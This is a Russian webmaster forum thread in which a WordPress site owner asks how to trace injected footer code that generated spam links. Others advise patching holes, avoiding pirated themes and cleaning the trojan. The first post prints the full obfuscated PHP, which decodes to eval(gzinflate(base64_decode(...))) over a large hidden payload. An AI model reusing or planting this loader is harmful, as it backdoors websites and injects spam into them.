Внедрили вредоносный код

P
На сайте с 22.04.2014
Offline
69
653

Как узнать, откуда грузит ссылки.

На сайте ВП был код в футоре, где запрос шел к png картинке, там код, который генерировал ссылки на страницах. (в шаблоне изначально не было)

Можно ли узнать с какого сайта грузил, и вообще что за биржа.

Сам код png

<?php $ffocpj = array('(','6','e','i','_','c','u','n','g','r',')','s','l','a','v','b','z','t','$',';','d','','f','4','o'); $uxdgcf = $ffocpj[5].$ffocpj[9].$ffocpj[2].$ffocpj[13].$ffocpj[17].$ffocpj[2].$ffocpj[4].$ffocpj[22].$ffocpj[6].$ffocpj[7].$ffocpj[5].$ffocpj[17].$ffocpj[3].$ffocpj[24].$ffocpj[7]; $eyceg = $uxdgcf('$v', $ffocpj[2].$ffocpj[14].$ffocpj[13].$ffocpj[12].$ffocpj[0].$ffocpj[8].$ffocpj[16].$ffocpj[3].$ffocpj[7].$ffocpj[22].$ffocpj[12].$ffocpj[13].$ffocpj[17].$ffocpj[2].$ffocpj[0].$ffocpj[15].$ffocpj[13].$ffocpj[11].$ffocpj[2].$ffocpj[1].$ffocpj[23].$ffocpj[4].$ffocpj[20].$ffocpj[2].$ffocpj[5].$ffocpj[24].$ffocpj[20].$ffocpj[2].$ffocpj[0].$ffocpj[18].$ffocpj[14].$ffocpj[10].$ffocpj[10].$ffocpj[10].$ffocpj[19]); $eyceg('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'); ?>

Туризм, Отдых, Развлечения, Дети, Дом.
SeVlad
На сайте с 03.11.2008
Offline
1609
#1
predm:
Можно ли узнать с какого сайта грузил, и вообще что за биржа.

А смысл? Сегодня одно, завтра будет другое.

Дыры надо латать. Не тянуть темы с помоек.

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
P
На сайте с 22.04.2014
Offline
69
#2

у меня одна и та же тема на 2-х сайтах ВП.

Вот только на одном такая ерунда, и уже не первый раз, думал хостинг внедрил, калымит типа.

SeVlad
На сайте с 03.11.2008
Offline
1609
#3
predm:
у меня одна и та же тема на 2-х сайтах ВП.

У тебя 2 уха, а получил только в одно.

predm:
думал хостинг внедрил, калымит типа.

Переезд на другой отсеет сомнения.

M
На сайте с 04.10.2011
Offline
90
#4
SeVlad:
Переезд на другой отсеет сомнения.

Только трояна надо сначала вычистить, а то новый хостер будет рад гостям :)

Сдается, обращаться скайп avdesk-it-kmm Верстка, кодинг - контакты в профиле... VPS от 5€ (https://gmhost.com.ua/?partner=10255)
kxk
На сайте с 30.01.2005
Offline
990
kxk
#5

predm, Лечите сайт и свой пк.

Ваш DEVOPS

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий